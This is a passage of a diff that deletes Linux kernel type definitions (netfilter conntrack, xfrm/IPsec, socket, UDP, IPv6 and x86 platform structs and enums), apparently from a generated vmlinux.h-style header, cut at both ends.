nf_inet_addr u3; - union { - __be16 all; - struct { - __be16 port; - } tcp; - struct { - __be16 port; - } udp; - struct { - u_int8_t type; - u_int8_t code; - } icmp; - struct { - __be16 port; - } dccp; - struct { - __be16 port; - } sctp; - struct { - __be16 key; - } gre; - } u; - u_int8_t protonum; - u_int8_t dir; - } dst; -}; - -struct nf_conntrack_tuple_hash { - struct hlist_nulls_node hnnode; - struct nf_conntrack_tuple tuple; -}; - -struct nf_ct_udp { - long unsigned int stream_ts; -}; - -struct nf_ct_gre { - unsigned int stream_timeout; - unsigned int timeout; -}; - -union nf_conntrack_proto { - struct nf_ct_dccp dccp; - struct ip_ct_sctp sctp; - struct ip_ct_tcp tcp; - struct nf_ct_udp udp; - struct nf_ct_gre gre; - unsigned int tmpl_padto; -}; - -struct nf_ct_ext; - -struct nf_conn { - struct nf_conntrack ct_general; - spinlock_t lock; - u32 timeout; - struct nf_conntrack_tuple_hash tuplehash[2]; - long unsigned int status; - possible_net_t ct_net; - struct hlist_node nat_bysource; - struct {} __nfct_init_offset; - struct nf_conn *master; - u_int32_t mark; - struct nf_ct_ext *ext; - union nf_conntrack_proto proto; -}; - -struct nf_conntrack_zone { - u16 id; - u8 flags; - u8 dir; -}; - -struct xt_action_param; - -struct xt_mtchk_param; - -struct xt_mtdtor_param; - -struct xt_match { - struct list_head list; - const char name[29]; - u_int8_t revision; - bool (*match)(const struct sk_buff *, struct xt_action_param *); - int (*checkentry)(const struct xt_mtchk_param *); - void (*destroy)(const struct xt_mtdtor_param *); - struct module *me; - const char *table; - unsigned int matchsize; - unsigned int usersize; - unsigned int hooks; - short unsigned int proto; - short unsigned int family; -}; - -struct xt_tgchk_param; - -struct xt_tgdtor_param; - -struct xt_target { - struct list_head list; - const char name[29]; - u_int8_t revision; - unsigned int (*target)(struct sk_buff *, const struct xt_action_param *); - int (*checkentry)(const struct xt_tgchk_param *); - void (*destroy)(const struct xt_tgdtor_param *); - struct module *me; - const char *table; - unsigned int targetsize; - unsigned int usersize; - unsigned int hooks; - short unsigned int proto; - short unsigned int family; -}; - -struct xt_counters { - __u64 pcnt; - __u64 bcnt; -}; - -struct xt_action_param { - union { - const struct xt_match *match; - const struct xt_target *target; - }; - union { - const void *matchinfo; - const void *targinfo; - }; - const struct nf_hook_state *state; - unsigned int thoff; - u16 fragoff; - bool hotdrop; -}; - -struct xt_mtchk_param { - struct net *net; - const char *table; - const void *entryinfo; - const struct xt_match *match; - void *matchinfo; - unsigned int hook_mask; - u_int8_t family; - bool nft_compat; -}; - -struct xt_mtdtor_param { - struct net *net; - const struct xt_match *match; - void *matchinfo; - u_int8_t family; -}; - -struct xt_tgchk_param { - struct net *net; - const char *table; - const void *entryinfo; - const struct xt_target *target; - void *targinfo; - unsigned int hook_mask; - u_int8_t family; - bool nft_compat; -}; - -struct xt_tgdtor_param { - struct net *net; - const struct xt_target *target; - void *targinfo; - u_int8_t family; -}; - -struct ipt_ip { - struct in_addr src; - struct in_addr dst; - struct in_addr smsk; - struct in_addr dmsk; - char iniface[16]; - char outiface[16]; - unsigned char iniface_mask[16]; - unsigned char outiface_mask[16]; - __u16 proto; - __u8 flags; - __u8 invflags; -}; - -struct ipt_entry { - struct ipt_ip ip; - unsigned int nfcache; - __u16 target_offset; - __u16 next_offset; - unsigned int comefrom; - struct xt_counters counters; - unsigned char elems[0]; -}; - -struct ip6t_ip6 { - struct in6_addr src; - struct in6_addr dst; - struct in6_addr smsk; - struct in6_addr dmsk; - char iniface[16]; - char outiface[16]; - unsigned char iniface_mask[16]; - unsigned char outiface_mask[16]; - __u16 proto; - __u8 tos; - __u8 flags; - __u8 invflags; -}; - -struct ip6t_entry { - struct ip6t_ip6 ipv6; - unsigned int nfcache; - __u16 target_offset; - __u16 next_offset; - unsigned int comefrom; - struct xt_counters counters; - unsigned char elems[0]; -}; - -enum { - XT_CT_NOTRACK = 1, - XT_CT_NOTRACK_ALIAS = 2, - XT_CT_ZONE_DIR_ORIG = 4, - XT_CT_ZONE_DIR_REPL = 8, - XT_CT_ZONE_MARK = 16, - XT_CT_MASK = 31, -}; - -struct xt_ct_target_info { - __u16 flags; - __u16 zone; - __u32 ct_events; - __u32 exp_events; - char helper[16]; - struct nf_conn *ct; -}; - -struct xt_ct_target_info_v1 { - __u16 flags; - __u16 zone; - __u32 ct_events; - __u32 exp_events; - char helper[16]; - char timeout[32]; - struct nf_conn *ct; -}; - -struct nf_ct_ext { - u8 offset[5]; - u8 len; - unsigned int gen_id; - long: 0; - char data[0]; -}; - -struct nf_conntrack_expect_policy; - -struct nf_conntrack_helper { - struct hlist_node hnode; - char name[16]; - refcount_t refcnt; - struct module *me; - const struct nf_conntrack_expect_policy *expect_policy; - struct nf_conntrack_tuple tuple; - int (*help)(struct sk_buff *, unsigned int, struct nf_conn *, enum ip_conntrack_info); - void (*destroy)(struct nf_conn *); - int (*from_nlattr)(struct nlattr *, struct nf_conn *); - int (*to_nlattr)(struct sk_buff *, const struct nf_conn *); - unsigned int expect_class_max; - unsigned int flags; - unsigned int queue_num; - u16 data_len; - char nat_mod_name[16]; -}; - -struct nf_conntrack_expect_policy { - unsigned int max_expected; - unsigned int timeout; - char name[16]; -}; - -struct nf_conn_help { - struct nf_conntrack_helper *helper; - struct hlist_head expectations; - u8 expecting[4]; - long: 0; - char data[32]; -}; - -typedef union { - __be32 a4; - __be32 a6[4]; - struct in6_addr in6; -} xfrm_address_t; - -struct xfrm_id { - xfrm_address_t daddr; - __be32 spi; - __u8 proto; -}; - -struct xfrm_sec_ctx { - __u8 ctx_doi; - __u8 ctx_alg; - __u16 ctx_len; - __u32 ctx_sid; - char ctx_str[0]; -}; - -struct xfrm_selector { - xfrm_address_t daddr; - xfrm_address_t saddr; - __be16 dport; - __be16 dport_mask; - __be16 sport; - __be16 sport_mask; - __u16 family; - __u8 prefixlen_d; - __u8 prefixlen_s; - __u8 proto; - int ifindex; - __kernel_uid32_t user; -}; - -struct xfrm_lifetime_cfg { - __u64 soft_byte_limit; - __u64 hard_byte_limit; - __u64 soft_packet_limit; - __u64 hard_packet_limit; - __u64 soft_add_expires_seconds; - __u64 hard_add_expires_seconds; - __u64 soft_use_expires_seconds; - __u64 hard_use_expires_seconds; -}; - -struct xfrm_lifetime_cur { - __u64 bytes; - __u64 packets; - __u64 add_time; - __u64 use_time; -}; - -struct xfrm_replay_state { - __u32 oseq; - __u32 seq; - __u32 bitmap; -}; - -struct xfrm_replay_state_esn { - unsigned int bmp_len; - __u32 oseq; - __u32 seq; - __u32 oseq_hi; - __u32 seq_hi; - __u32 replay_window; - __u32 bmp[0]; -}; - -struct xfrm_algo { - char alg_name[64]; - unsigned int alg_key_len; - char alg_key[0]; -}; - -struct xfrm_algo_auth { - char alg_name[64]; - unsigned int alg_key_len; - unsigned int alg_trunc_len; - char alg_key[0]; -}; - -struct xfrm_algo_aead { - char alg_name[64]; - unsigned int alg_key_len; - unsigned int alg_icv_len; - char alg_key[0]; -}; - -struct xfrm_stats { - __u32 replay_window; - __u32 replay; - __u32 integrity_failed; -}; - -enum { - XFRM_POLICY_TYPE_MAIN = 0, - XFRM_POLICY_TYPE_SUB = 1, - XFRM_POLICY_TYPE_MAX = 2, - XFRM_POLICY_TYPE_ANY = 255, -}; - -enum { - XFRM_MSG_BASE = 16, - XFRM_MSG_NEWSA = 16, - XFRM_MSG_DELSA = 17, - XFRM_MSG_GETSA = 18, - XFRM_MSG_NEWPOLICY = 19, - XFRM_MSG_DELPOLICY = 20, - XFRM_MSG_GETPOLICY = 21, - XFRM_MSG_ALLOCSPI = 22, - XFRM_MSG_ACQUIRE = 23, - XFRM_MSG_EXPIRE = 24, - XFRM_MSG_UPDPOLICY = 25, - XFRM_MSG_UPDSA = 26, - XFRM_MSG_POLEXPIRE = 27, - XFRM_MSG_FLUSHSA = 28, - XFRM_MSG_FLUSHPOLICY = 29, - XFRM_MSG_NEWAE = 30, - XFRM_MSG_GETAE = 31, - XFRM_MSG_REPORT = 32, - XFRM_MSG_MIGRATE = 33, - XFRM_MSG_NEWSADINFO = 34, - XFRM_MSG_GETSADINFO = 35, - XFRM_MSG_NEWSPDINFO = 36, - XFRM_MSG_GETSPDINFO = 37, - XFRM_MSG_MAPPING = 38, - XFRM_MSG_SETDEFAULT = 39, - XFRM_MSG_GETDEFAULT = 40, - __XFRM_MSG_MAX = 41, -}; - -struct xfrm_encap_tmpl { - __u16 encap_type; - __be16 encap_sport; - __be16 encap_dport; - xfrm_address_t encap_oa; -}; - -enum xfrm_attr_type_t { - XFRMA_UNSPEC = 0, - XFRMA_ALG_AUTH = 1, - XFRMA_ALG_CRYPT = 2, - XFRMA_ALG_COMP = 3, - XFRMA_ENCAP = 4, - XFRMA_TMPL = 5, - XFRMA_SA = 6, - XFRMA_POLICY = 7, - XFRMA_SEC_CTX = 8, - XFRMA_LTIME_VAL = 9, - XFRMA_REPLAY_VAL = 10, - XFRMA_REPLAY_THRESH = 11, - XFRMA_ETIMER_THRESH = 12, - XFRMA_SRCADDR = 13, - XFRMA_COADDR = 14, - XFRMA_LASTUSED = 15, - XFRMA_POLICY_TYPE = 16, - XFRMA_MIGRATE = 17, - XFRMA_ALG_AEAD = 18, - XFRMA_KMADDRESS = 19, - XFRMA_ALG_AUTH_TRUNC = 20, - XFRMA_MARK = 21, - XFRMA_TFCPAD = 22, - XFRMA_REPLAY_ESN_VAL = 23, - XFRMA_SA_EXTRA_FLAGS = 24, - XFRMA_PROTO = 25, - XFRMA_ADDRESS_FILTER = 26, - XFRMA_PAD = 27, - XFRMA_OFFLOAD_DEV = 28, - XFRMA_SET_MARK = 29, - XFRMA_SET_MARK_MASK = 30, - XFRMA_IF_ID = 31, - XFRMA_MTIMER_THRESH = 32, - __XFRMA_MAX = 33, -}; - -struct xfrm_mark { - __u32 v; - __u32 m; -}; - -struct xfrm_address_filter { - xfrm_address_t saddr; - xfrm_address_t daddr; - __u16 family; - __u8 splen; - __u8 dplen; -}; - -struct xfrm_state_walk { - struct list_head all; - u8 state; - u8 dying; - u8 proto; - u32 seq; - struct xfrm_address_filter *filter; -}; - -enum xfrm_replay_mode { - XFRM_REPLAY_MODE_LEGACY = 0, - XFRM_REPLAY_MODE_BMP = 1, - XFRM_REPLAY_MODE_ESN = 2, -}; - -struct xfrm_dev_offload { - struct net_device *dev; - netdevice_tracker dev_tracker; - struct net_device *real_dev; - long unsigned int offload_handle; - u8 dir: 2; - u8 type: 2; -}; - -struct xfrm_mode { - u8 encap; - u8 family; - u8 flags; -}; - -struct xfrm_type; - -struct xfrm_type_offload; - -struct xfrm_state { - possible_net_t xs_net; - union { - struct hlist_node gclist; - struct hlist_node bydst; - }; - struct hlist_node bysrc; - struct hlist_node byspi; - struct hlist_node byseq; - refcount_t refcnt; - spinlock_t lock; - struct xfrm_id id; - struct xfrm_selector sel; - struct xfrm_mark mark; - u32 if_id; - u32 tfcpad; - u32 genid; - struct xfrm_state_walk km; - struct { - u32 reqid; - u8 mode; - u8 replay_window; - u8 aalgo; - u8 ealgo; - u8 calgo; - u8 flags; - u16 family; - xfrm_address_t saddr; - int header_len; - int trailer_len; - u32 extra_flags; - struct xfrm_mark smark; - } props; - struct xfrm_lifetime_cfg lft; - struct xfrm_algo_auth *aalg; - struct xfrm_algo *ealg; - struct xfrm_algo *calg; - struct xfrm_algo_aead *aead; - const char *geniv; - __be16 new_mapping_sport; - u32 new_mapping; - u32 mapping_maxage; - struct xfrm_encap_tmpl *encap; - struct sock *encap_sk; - xfrm_address_t *coaddr; - struct xfrm_state *tunnel; - atomic_t tunnel_users; - struct xfrm_replay_state replay; - struct xfrm_replay_state_esn *replay_esn; - struct xfrm_replay_state preplay; - struct xfrm_replay_state_esn *preplay_esn; - enum xfrm_replay_mode repl_mode; - u32 xflags; - u32 replay_maxage; - u32 replay_maxdiff; - struct timer_list rtimer; - struct xfrm_stats stats; - struct xfrm_lifetime_cur curlft; - struct hrtimer mtimer; - struct xfrm_dev_offload xso; - long int saved_tmo; - time64_t lastused; - struct page_frag xfrag; - const struct xfrm_type *type; - struct xfrm_mode inner_mode; - struct xfrm_mode inner_mode_iaf; - struct xfrm_mode outer_mode; - const struct xfrm_type_offload *type_offload; - struct xfrm_sec_ctx *security; - void *data; -}; - -struct xfrm_policy_walk_entry { - struct list_head all; - u8 dead; -}; - -struct xfrm_policy_queue { - struct sk_buff_head hold_queue; - struct timer_list hold_timer; - long unsigned int timeout; -}; - -struct xfrm_tmpl { - struct xfrm_id id; - xfrm_address_t saddr; - short unsigned int encap_family; - u32 reqid; - u8 mode; - u8 share; - u8 optional; - u8 allalgs; - u32 aalgos; - u32 ealgos; - u32 calgos; -}; - -struct xfrm_policy { - possible_net_t xp_net; - struct hlist_node bydst; - struct hlist_node byidx; - rwlock_t lock; - refcount_t refcnt; - u32 pos; - struct timer_list timer; - atomic_t genid; - u32 priority; - u32 index; - u32 if_id; - struct xfrm_mark mark; - struct xfrm_selector selector; - struct xfrm_lifetime_cfg lft; - struct xfrm_lifetime_cur curlft; - struct xfrm_policy_walk_entry walk; - struct xfrm_policy_queue polq; - bool bydst_reinsert; - u8 type; - u8 action; - u8 flags; - u8 xfrm_nr; - u16 family; - struct xfrm_sec_ctx *security; - struct xfrm_tmpl xfrm_vec[6]; - struct hlist_node bydst_inexact_list; - struct callback_head rcu; - struct xfrm_dev_offload xdo; -}; - -struct xfrm_type { - struct module *owner; - u8 proto; - u8 flags; - int (*init_state)(struct xfrm_state *, struct netlink_ext_ack *); - void (*destructor)(struct xfrm_state *); - int (*input)(struct xfrm_state *, struct sk_buff *); - int (*output)(struct xfrm_state *, struct sk_buff *); - int (*reject)(struct xfrm_state *, struct sk_buff *, const struct flowi *); -}; - -struct xfrm_type_offload { - struct module *owner; - u8 proto; - void (*encap)(struct xfrm_state *, struct sk_buff *); - int (*input_tail)(struct xfrm_state *, struct sk_buff *); - int (*xmit)(struct xfrm_state *, struct sk_buff *, netdev_features_t); -}; - -struct xfrm_state_afinfo { - u8 family; - u8 proto; - const struct xfrm_type_offload *type_offload_esp; - const struct xfrm_type *type_esp; - const struct xfrm_type *type_ipip; - const struct xfrm_type *type_ipip6; - const struct xfrm_type *type_comp; - const struct xfrm_type *type_ah; - const struct xfrm_type *type_routing; - const struct xfrm_type *type_dstopts; - int (*output)(struct net *, struct sock *, struct sk_buff *); - int (*transport_finish)(struct sk_buff *, int); - void (*local_error)(struct sk_buff *, u32); -}; - -enum sk_action { - SK_DROP = 0, - SK_PASS = 1, -}; - -struct sockaddr_in6 { - short unsigned int sin6_family; - __be16 sin6_port; - __be32 sin6_flowinfo; - struct in6_addr sin6_addr; - __u32 sin6_scope_id; -}; - -struct seg6_pernet_data { - struct mutex lock; - struct in6_addr *tun_src; -}; - -struct sockaddr_in { - __kernel_sa_family_t sin_family; - __be16 sin_port; - struct in_addr sin_addr; - unsigned char __pad[8]; -}; - -typedef struct bio_vec skb_frag_t; - -struct skb_shared_info { - __u8 flags; - __u8 meta_len; - __u8 nr_frags; - __u8 tx_flags; - short unsigned int gso_size; - short unsigned int gso_segs; - struct sk_buff *frag_list; - struct skb_shared_hwtstamps hwtstamps; - unsigned int gso_type; - u32 tskey; - atomic_t dataref; - unsigned int xdp_frags_size; - void *destructor_arg; - skb_frag_t frags[17]; -}; - -enum { - SKB_GSO_TCPV4 = 1, - SKB_GSO_DODGY = 2, - SKB_GSO_TCP_ECN = 4, - SKB_GSO_TCP_FIXEDID = 8, - SKB_GSO_TCPV6 = 16, - SKB_GSO_FCOE = 32, - SKB_GSO_GRE = 64, - SKB_GSO_GRE_CSUM = 128, - SKB_GSO_IPXIP4 = 256, - SKB_GSO_IPXIP6 = 512, - SKB_GSO_UDP_TUNNEL = 1024, - SKB_GSO_UDP_TUNNEL_CSUM = 2048, - SKB_GSO_PARTIAL = 4096, - SKB_GSO_TUNNEL_REMCSUM = 8192, - SKB_GSO_SCTP = 16384, - SKB_GSO_ESP = 32768, - SKB_GSO_UDP = 65536, - SKB_GSO_UDP_L4 = 131072, - SKB_GSO_FRAGLIST = 262144, -}; - -enum skb_ext_id { - SKB_EXT_SEC_PATH = 0, - TC_SKB_EXT = 1, - SKB_EXT_MPTCP = 2, - SKB_EXT_NUM = 3, -}; - -struct seq_net_private { - struct net *net; - netns_tracker ns_tracker; -}; - -enum { - TCPF_ESTABLISHED = 2, - TCPF_SYN_SENT = 4, - TCPF_SYN_RECV = 8, - TCPF_FIN_WAIT1 = 16, - TCPF_FIN_WAIT2 = 32, - TCPF_TIME_WAIT = 64, - TCPF_CLOSE = 128, - TCPF_CLOSE_WAIT = 256, - TCPF_LAST_ACK = 512, - TCPF_LISTEN = 1024, - TCPF_CLOSING = 2048, - TCPF_NEW_SYN_RECV = 4096, -}; - -enum { - SOF_TIMESTAMPING_TX_HARDWARE = 1, - SOF_TIMESTAMPING_TX_SOFTWARE = 2, - SOF_TIMESTAMPING_RX_HARDWARE = 4, - SOF_TIMESTAMPING_RX_SOFTWARE = 8, - SOF_TIMESTAMPING_SOFTWARE = 16, - SOF_TIMESTAMPING_SYS_HARDWARE = 32, - SOF_TIMESTAMPING_RAW_HARDWARE = 64, - SOF_TIMESTAMPING_OPT_ID = 128, - SOF_TIMESTAMPING_TX_SCHED = 256, - SOF_TIMESTAMPING_TX_ACK = 512, - SOF_TIMESTAMPING_OPT_CMSG = 1024, - SOF_TIMESTAMPING_OPT_TSONLY = 2048, - SOF_TIMESTAMPING_OPT_STATS = 4096, - SOF_TIMESTAMPING_OPT_PKTINFO = 8192, - SOF_TIMESTAMPING_OPT_TX_SWHW = 16384, - SOF_TIMESTAMPING_BIND_PHC = 32768, - SOF_TIMESTAMPING_OPT_ID_TCP = 65536, - SOF_TIMESTAMPING_LAST = 65536, - SOF_TIMESTAMPING_MASK = 131071, -}; - -enum sock_flags { - SOCK_DEAD = 0, - SOCK_DONE = 1, - SOCK_URGINLINE = 2, - SOCK_KEEPOPEN = 3, - SOCK_LINGER = 4, - SOCK_DESTROY = 5, - SOCK_BROADCAST = 6, - SOCK_TIMESTAMP = 7, - SOCK_ZAPPED = 8, - SOCK_USE_WRITE_QUEUE = 9, - SOCK_DBG = 10, - SOCK_RCVTSTAMP = 11, - SOCK_RCVTSTAMPNS = 12, - SOCK_LOCALROUTE = 13, - SOCK_MEMALLOC = 14, - SOCK_TIMESTAMPING_RX_SOFTWARE = 15, - SOCK_FASYNC = 16, - SOCK_RXQ_OVFL = 17, - SOCK_ZEROCOPY = 18, - SOCK_WIFI_STATUS = 19, - SOCK_NOFCS = 20, - SOCK_FILTER_LOCKED = 21, - SOCK_SELECT_ERR_QUEUE = 22, - SOCK_RCU_FREE = 23, - SOCK_TXTIME = 24, - SOCK_XDP = 25, - SOCK_TSTAMP_NEW = 26, - SOCK_RCVMARK = 27, -}; - -struct raw_hashinfo { - spinlock_t lock; - struct hlist_nulls_head ht[256]; -}; - -struct sockcm_cookie { - u64 transmit_time; - u32 mark; - u32 tsflags; -}; - -struct in6_pktinfo { - struct in6_addr ipi6_addr; - int ipi6_ifindex; -}; - -struct ipv6_rt_hdr { - __u8 nexthdr; - __u8 hdrlen; - __u8 type; - __u8 segments_left; -}; - -struct ipv6_opt_hdr { - __u8 nexthdr; - __u8 hdrlen; -}; - -struct ipv6hdr { - __u8 priority: 4; - __u8 version: 4; - __u8 flow_lbl[3]; - __be16 payload_len; - __u8 nexthdr; - __u8 hop_limit; - union { - struct { - struct in6_addr saddr; - struct in6_addr daddr; - }; - struct { - struct in6_addr saddr; - struct in6_addr daddr; - } addrs; - }; -}; - -struct ip_options { - __be32 faddr; - __be32 nexthop; - unsigned char optlen; - unsigned char srr; - unsigned char rr; - unsigned char ts; - unsigned char is_strictroute: 1; - unsigned char srr_is_hit: 1; - unsigned char is_changed: 1; - unsigned char rr_needaddr: 1; - unsigned char ts_needtime: 1; - unsigned char ts_needaddr: 1; - unsigned char router_alert; - unsigned char cipso; - unsigned char __pad2; - unsigned char __data[0]; -}; - -struct ip_options_rcu { - struct callback_head rcu; - struct ip_options opt; -}; - -struct ipv6_txoptions { - refcount_t refcnt; - int tot_len; - __u16 opt_flen; - __u16 opt_nflen; - struct ipv6_opt_hdr *hopopt; - struct ipv6_opt_hdr *dst0opt; - struct ipv6_rt_hdr *srcrt; - struct ipv6_opt_hdr *dst1opt; - struct callback_head rcu; -}; - -struct inet_cork { - unsigned int flags; - __be32 addr; - struct ip_options *opt; - unsigned int fragsize; - int length; - struct dst_entry *dst; - u8 tx_flags; - __u8 ttl; - __s16 tos; - char priority; - __u16 gso_size; - u64 transmit_time; - u32 mark; -}; - -struct inet_cork_full { - struct inet_cork base; - struct flowi fl; -}; - -struct ipv6_pinfo; - -struct ip_mc_socklist; - -struct inet_sock { - struct sock sk; - struct ipv6_pinfo *pinet6; - __be32 inet_saddr; - __s16 uc_ttl; - __u16 cmsg_flags; - struct ip_options_rcu *inet_opt; - __be16 inet_sport; - __u16 inet_id; - __u8 tos; - __u8 min_ttl; - __u8 mc_ttl; - __u8 pmtudisc; - __u8 recverr: 1; - __u8 is_icsk: 1; - __u8 freebind: 1; - __u8 hdrincl: 1; - __u8 mc_loop: 1; - __u8 transparent: 1; - __u8 mc_all: 1; - __u8 nodefrag: 1; - __u8 bind_address_no_port: 1; - __u8 recverr_rfc4884: 1; - __u8 defer_connect: 1; - __u8 rcv_tos; - __u8 convert_csum; - int uc_index; - int mc_index; - __be32 mc_addr; - struct ip_mc_socklist *mc_list; - struct inet_cork_full cork; -}; - -struct inet6_cork { - struct ipv6_txoptions *opt; - u8 hop_limit; - u8 tclass; -}; - -struct ipv6_mc_socklist; - -struct ipv6_ac_socklist; - -struct ipv6_fl_socklist; - -struct ipv6_pinfo { - struct in6_addr saddr; - struct in6_pktinfo sticky_pktinfo; - const struct in6_addr *daddr_cache; - const struct in6_addr *saddr_cache; - __be32 flow_label; - __u32 frag_size; - __u16 __unused_1: 7; - __s16 hop_limit: 9; - __u16 mc_loop: 1; - __u16 __unused_2: 6; - __s16 mcast_hops: 9; - int ucast_oif; - int mcast_oif; - union { - struct { - __u16 srcrt: 1; - __u16 osrcrt: 1; - __u16 rxinfo: 1; - __u16 rxoinfo: 1; - __u16 rxhlim: 1; - __u16 rxohlim: 1; - __u16 hopopts: 1; - __u16 ohopopts: 1; - __u16 dstopts: 1; - __u16 odstopts: 1; - __u16 rxflow: 1; - __u16 rxtclass: 1; - __u16 rxpmtu: 1; - __u16 rxorigdstaddr: 1; - __u16 recvfragsize: 1; - } bits; - __u16 all; - } rxopt; - __u16 recverr: 1; - __u16 sndflow: 1; - __u16 repflow: 1; - __u16 pmtudisc: 3; - __u16 padding: 1; - __u16 srcprefs: 3; - __u16 dontfrag: 1; - __u16 autoflowlabel: 1; - __u16 autoflowlabel_set: 1; - __u16 mc_all: 1; - __u16 recverr_rfc4884: 1; - __u16 rtalert_isolate: 1; - __u8 min_hopcount; - __u8 tclass; - __be32 rcv_flowinfo; - __u32 dst_cookie; - struct ipv6_mc_socklist *ipv6_mc_list; - struct ipv6_ac_socklist *ipv6_ac_list; - struct ipv6_fl_socklist *ipv6_fl_list; - struct ipv6_txoptions *opt; - struct sk_buff *pktoptions; - struct sk_buff *rxpmtu; - struct inet6_cork cork; -}; - -struct udphdr { - __be16 source; - __be16 dest; - __be16 len; - __sum16 check; -}; - -struct udp_sock { - struct inet_sock inet; - int pending; - unsigned int corkflag; - __u8 encap_type; - unsigned char no_check6_tx: 1; - unsigned char no_check6_rx: 1; - unsigned char encap_enabled: 1; - unsigned char gro_enabled: 1; - unsigned char accept_udp_l4: 1; - unsigned char accept_udp_fraglist: 1; - __u16 len; - __u16 gso_size; - __u16 pcslen; - __u16 pcrlen; - __u8 pcflag; - __u8 unused[3]; - int (*encap_rcv)(struct sock *, struct sk_buff *); - void (*encap_err_rcv)(struct sock *, struct sk_buff *, int, __be16, u32, u8 *); - int (*encap_err_lookup)(struct sock *, struct sk_buff *); - void (*encap_destroy)(struct sock *); - struct sk_buff * (*gro_receive)(struct sock *, struct list_head *, struct sk_buff *); - int (*gro_complete)(struct sock *, struct sk_buff *, int); - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct sk_buff_head reader_queue; - int forward_deficit; - int forward_threshold; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct inet6_skb_parm { - int iif; - __be16 ra; - __u16 dst0; - __u16 srcrt; - __u16 dst1; - __u16 lastopt; - __u16 nhoff; - __u16 flags; - __u16 dsthao; - __u16 frag_max_size; - __u16 srhoff; -}; - -struct ip6_sf_socklist; - -struct ipv6_mc_socklist { - struct in6_addr addr; - int ifindex; - unsigned int sfmode; - struct ipv6_mc_socklist *next; - struct ip6_sf_socklist *sflist; - struct callback_head rcu; -}; - -struct ipv6_ac_socklist { - struct in6_addr acl_addr; - int acl_ifindex; - struct ipv6_ac_socklist *acl_next; -}; - -struct ip6_flowlabel; - -struct ipv6_fl_socklist { - struct ipv6_fl_socklist *next; - struct ip6_flowlabel *fl; - struct callback_head rcu; -}; - -struct ip6_sf_socklist { - unsigned int sl_max; - unsigned int sl_count; - struct callback_head rcu; - struct in6_addr sl_addr[0]; -}; - -struct static_key_false_deferred { - struct static_key_false key; - long unsigned int timeout; - struct delayed_work work; -}; - -struct ip6_flowlabel { - struct ip6_flowlabel *next; - __be32 label; - atomic_t users; - struct in6_addr dst; - struct ipv6_txoptions *opt; - long unsigned int linger; - struct callback_head rcu; - u8 share; - union { - struct pid *pid; - kuid_t uid; - } owner; - long unsigned int lastuse; - long unsigned int expires; - struct net *fl_net; -}; - -struct ipcm6_cookie { - struct sockcm_cookie sockc; - __s16 hlimit; - __s16 tclass; - __u16 gso_size; - __s8 dontfrag; - struct ipv6_txoptions *opt; -}; - -struct inet6_protocol { - int (*handler)(struct sk_buff *); - int (*err_handler)(struct sk_buff *, struct inet6_skb_parm *, u8, u8, int, __be32); - unsigned int flags; -}; - -struct inet_protosw { - struct list_head list; - short unsigned int type; - short unsigned int protocol; - struct proto *prot; - const struct proto_ops *ops; - unsigned char flags; -}; - -struct ipv6_sr_hdr { - __u8 nexthdr; - __u8 hdrlen; - __u8 type; - __u8 segments_left; - __u8 first_segment; - __u8 flags; - __u16 tag; - struct in6_addr segments[0]; -}; - -struct inet_skb_parm { - int iif; - struct ip_options opt; - u16 flags; - u16 frag_max_size; -}; - -struct ip_tunnel_encap { - u16 type; - u16 flags; - __be16 sport; - __be16 dport; -}; - -struct ip6_tnl_encap_ops { - size_t (*encap_hlen)(struct ip_tunnel_encap *); - int (*build_header)(struct sk_buff *, struct ip_tunnel_encap *, u8 *, struct flowi6 *); - int (*err_handler)(struct sk_buff *, struct inet6_skb_parm *, u8, u8, int, __be32); -}; - -enum { - XFRM_DEV_OFFLOAD_UNSPECIFIED = 0, - XFRM_DEV_OFFLOAD_CRYPTO = 1, - XFRM_DEV_OFFLOAD_PACKET = 2, -}; - -struct xfrm_offload { - struct { - __u32 low; - __u32 hi; - } seq; - __u32 flags; - __u32 status; - __u8 proto; - __u8 inner_ipproto; -}; - -struct sec_path { - int len; - int olen; - struct xfrm_state *xvec[6]; - struct xfrm_offload ovec[1]; -}; - -struct bpf_sk_lookup_kern { - u16 family; - u16 protocol; - __be16 sport; - u16 dport; - struct { - __be32 saddr; - __be32 daddr; - } v4; - struct { - const struct in6_addr *saddr; - const struct in6_addr *daddr; - } v6; - struct sock *selected_sk; - u32 ingress_ifindex; - bool no_reuseport; -}; - -struct udp_skb_cb { - union { - struct inet_skb_parm h4; - struct inet6_skb_parm h6; - } header; - __u16 cscov; - __u8 partial_cov; -}; - -struct udp_dev_scratch { - u32 _tsize_state; - u16 len; - bool is_linear; - bool csum_unnecessary; -}; - -struct udp_seq_afinfo { - sa_family_t family; - struct udp_table *udp_table; -}; - -struct udp_iter_state { - struct seq_net_private p; - int bucket; - struct udp_seq_afinfo *bpf_seq_afinfo; -}; - -struct x86_guest { - void (*enc_status_change_prepare)(long unsigned int, int, bool); - bool (*enc_status_change_finish)(long unsigned int, int, bool); - bool (*enc_tlb_flush_required)(bool); - bool (*enc_cache_flush_required)(); -}; - -struct x86_legacy_devices { - int pnpbios; -}; - -enum x86_legacy_i8042_state { - X86_LEGACY_I8042_PLATFORM_ABSENT = 0, - X86_LEGACY_I8042_FIRMWARE_ABSENT = 1, - X86_LEGACY_I8042_EXPECTED_PRESENT = 2, -}; - -struct x86_legacy_features { - enum x86_legacy_i8042_state i8042; - int rtc; - int warm_reset; - int no_vga; - int reserve_bios_regions; - struct x86_legacy_devices devices; -}; - -struct ghcb; - -struct x86_hyper_runtime { - void (*pin_vcpu)(int); - void (*sev_es_hcall_prepare)(struct ghcb *, struct pt_regs *); - bool (*sev_es_hcall_finish)(struct ghcb *, struct pt_regs *); -}; - -struct x86_platform_ops { - long unsigned int (*calibrate_cpu)(); - long unsigned int (*calibrate_tsc)(); - void (*get_wallclock)(struct timespec64 *); - int (*set_wallclock)(const struct timespec64 *); - void (*iommu_shutdown)(); - bool (*is_untracked_pat_range)(u64, u64); - void (*nmi_init)(); - unsigned char (*get_nmi_reason)(); - void (*save_sched_clock_state)(); - void (*restore_sched_clock_state)(); - void (*apic_post_init)(); - struct x86_legacy_features legacy; - void (*set_legacy_features)(); - struct x86_hyper_runtime hyper; - struct x86_guest guest; -}; - -typedef bool (*stack_trace_consume_fn)(void *, long unsigned int); - -enum stack_type { - STACK_TYPE_UNKNOWN = 0, - STACK_TYPE_TASK = 1, - STACK_TYPE_IRQ = 2, - STACK_TYPE_SOFTIRQ = 3, - STACK_TYPE_ENTRY = 4, - STACK_TYPE_EXCEPTION = 5, - STACK_TYPE_EXCEPTION_LAST = 10, -}; - -struct stack_info { - enum stack_type type; - long unsigned int *begin; - 